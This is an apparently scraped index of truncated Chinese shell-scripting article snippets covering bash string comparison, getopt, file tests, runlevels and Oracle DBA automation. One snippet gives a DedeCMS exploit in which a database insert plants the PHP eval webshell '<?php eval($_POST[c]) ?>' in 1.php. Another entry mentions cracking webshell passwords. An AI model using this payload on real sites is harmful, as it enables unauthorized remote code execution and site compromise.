Time of Update: 2018-12-03
方法一:你可以將兩個字串統統轉成大寫(或小寫), 再比較 #!/bin/bash xxx= "Temp " yyy= "temp " x_tmp=$(echo $xxx | tr [a-z] [A-Z]) y_tmp=$(echo $yyy | tr [a-z] [A-Z]) if [ "$x_tmp " = "$y_tmp " ];then echo "PASS " else echo "FAIL " fi 優點:通用
Time of Update: 2018-12-03
getop string1 string2..nstring1中標出的字元表示合法的標誌(-後面可以跟的字元),如果標誌字元後面有:,說明這個標誌後面(可以有0-n個空格)的stringx是它的參數, getop 按string1 處理 string2....n,輸出結果-標誌1 參數1 -標誌2 參數2 ..... -- 參數n 40:/tmp/v>getopt "a:b" "-bafile"-b -a file
Time of Update: 2018-12-03
echo listobjects=$listobjectsecho logfile=${logfile}dos2unix ${performanceLog} &> /dev/zero# get the performanceLog row number trac_rows=`sed -n '$=' ${performanceLog}`# echo trac_rows=$trac_rowsi=1while [[ $i -le $trac_rows ]];
Time of Update: 2018-12-03
NETSH (Network Shell)Configure Network Interfaces, Windows Firewall, Routing & remote access.Syntax NETSH [Context] [sub-Context] commandKeyThe contexts and commands available vary by platform, the list below is for Windows 2008.Use
Time of Update: 2018-12-03
Bash
Time of Update: 2018-12-03
一.基礎我們定義一個變數(等號兩邊不能有空格)FILEPATH=/var/home/sssFILEFILENAME=test001在引用這個變數是我們可以直接使用$後面跟上變數的名字比如: $FILEPATH還可以 : ${FILEPATH}使用${}這種方式的好處是可以方便的實現兩個變數的串連,同時看著也比較清楚。${FILEPATH}/${FILEFILENAME}這樣便可以表示這個檔案的全路徑了-----------------------------------------
Time of Update: 2018-12-03
來源:http://zhidao.baidu.com/question/322131711.html 檔案比較子-e filename 如果 filename存在,則為真 [ -e /var/log/syslog ]-d filename 如果 filename為目錄,則為真 [ -d /tmp/mydir ]-f filename 如果 filename為常規檔案,則為真 [ -f /usr/bin/grep ]-L filename 如果 filename為符號連結,則為真
Time of Update: 2018-12-03
linux運行層級 linux啟動之後會在一個層級運行,下面列出了這些運行層級:0 系統停止1 單使用者系統,不需要登陸2 多使用者系統但不支援NFS,命令列模式登陸3 完整多使用者模式,命令列模式登陸4 未用5 X11圖形模式,圖形模式登陸6 重新啟動系統這些可以在/etc/initab檔案中可以看到0-6級的注釋,程式碼片段如下:# Default runlevel. The runlevels used by RHS are:# 0 - halt (Do NOT set
Time of Update: 2018-12-03
linux下shell中if的相關參數[ -a FILE ] 如果 FILE 存在則為真。 [ -b FILE ] 如果 FILE 存在且是一個塊特殊檔案則為真。 [ -c FILE ] 如果 FILE 存在且是一個字特殊檔案則為真。 [ -d FILE ] 如果 FILE 存在且是一個目錄則為真。 [ -e FILE ] 如果 FILE 存在則為真。 [ -f FILE ] 如果 FILE 存在且是一個普通檔案則為真。 [ -g FILE ] 如果 FILE
Time of Update: 2018-12-03
在學習Linux shell scripts時,一個最常見的錯誤就是用for(for line in $(cat file.txt) do …)迴圈逐行讀取檔案。下面的例子可以看出這樣做的結果。檔案file.txt內容:cat file.txtThis is the row No 1;This is the row No 2;This is the row No 3. 用for迴圈的例子:for line in $(cat file.txt); do echo $line;
Time of Update: 2018-12-03
back_day=`date -d '1 day ago' +%Y-%m-%d`finance_linux_log_user=/home/admin/output/logs/userTARGET_SERVER="crmfinance1 crmfinance2
Time of Update: 2018-12-03
$@指所有命令列參數,每個參數以""包圍$*指所有命令列參數 以下程式:test1.sh-------------------sum=0for varin "$@"dolet sum=sum+$vardoneecho "sum=$sum" ./test1.sh 1 2 3結果為sum=6 test2.sh--------------------sum=0for varin "$*"dolet sum=sum+$vardoneecho "sum=$sum"./test2.sh 1 2
Time of Update: 2018-12-03
(1)awk中函數substrsubstr(源字串,開始索引,長度) 開始索引以0開始樣本:awk '{$a=substr($0,0,2);print $a;}' filename假設檔案中為只有一行為abcdefg,則返回結果為ab(2)expr substr expr substr 字串 開始索引 長度 開始索引以1開始樣本:expr substr "abc" 2 2顯示bc(3)echo ${str:開始索引} 或 echo ${str:開始索引:長度}
Time of Update: 2018-12-03
轉自:t00ls網上流傳的漏洞exp都是說要知道後台才能利用,但不用,只要 plus 目錄存在,伺服器能外連,就能拿shell _1 U- t( B- F8 c前題條件,必須準備好自己的dede資料庫,然後插入資料:insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "
Time of Update: 2018-12-03
1、AIX 機器上定期清除記錄檔,以釋放記錄檔所佔用的大量磁碟空間。 shell似乎沒有處理日期計算的函數,在JAVA中處理日期很方便,而SHELL處理日期太費勁,等於自己要寫一個原始的日期加減函數。這裡考慮特定的應用,在已有網友代碼的基礎上進行了一下改進,可以計算從當前日期起N天前的日期。KSH實現。 AIX 5.3 執行通過 #!/bin/kshLOG_PATH=/home/utan/logsLOG_DEL_LOGFILE=./logdel.logKEEP_DAYS=9# Set the
Time of Update: 2018-12-03
burpsuite破解webshell密碼+國內黑闊shell密碼收集burpsuite_pro_v1.3.03
Time of Update: 2018-12-03
在資料庫營運的過程中,Shell 指令碼在很大程度上為營運提供了極大的便利性。而shell 指令碼參數作為變數傳遞給SQL以及SQL指令碼也是DBA經常碰到的情形之一。本文主要討論了如何將shell指令碼的參數傳遞到SQL指令碼之中並執行SQL查詢。 有關shell與SQL之間的變數傳遞,請參考: Linux/Unix shell sql 之間傳遞變數 1、啟動sqlplus時執行指令碼並傳遞參數robin@SZDB:~/dba_scripts/custom/awr>
Time of Update: 2018-12-03
使用shell指令碼實現對Oracle資料庫的監控與管理將大大簡化DBA的工作負擔,如常見的對執行個體的監控,監聽的監控,警示日誌的監控,以及資料庫的備份,AWR report的自動郵件等。本文給出Linux 下使用 shell 指令碼來實現自動FTP備份檔案。 Linux Shell以及匯入匯出的相關參考: Linux/Unix shell 指令碼中調用SQL,RMAN指令碼 Linux/Unix shell sql 之間傳遞變數
Time of Update: 2018-12-03
觀察Oracle資料庫效能,Oracle內建的awr 功能為我們提供了一個近乎完美的解決方案,通過awr特性我們可以隨時從資料庫提取awr報告。不過awrrpt.sql指令碼執行時需要我們提供一些互動資訊,因此可以將其整合到shell指令碼中來實現自動產生指定時段的awr報告並發送給相關人員。本文對Linux/Unix shell 自動發送AWR report的功能進行了完善和補充。
Time of Update: 2018-12-03
Linux/Unix 下除了調用SQL之外,調用PL/SQL也是DBA經常碰到的情形,下面主要通過一些樣本給出如何在shell下面來調用pl/sql。 其它相關的參考: Linux/Unix shell 指令碼中調用SQL,RMAN指令碼 Linux/Unix shell sql 之間傳遞變數 1、將pl/sql代碼逐行輸入到臨時檔案robin@SZDB:~/dba_scripts/custom/bin> more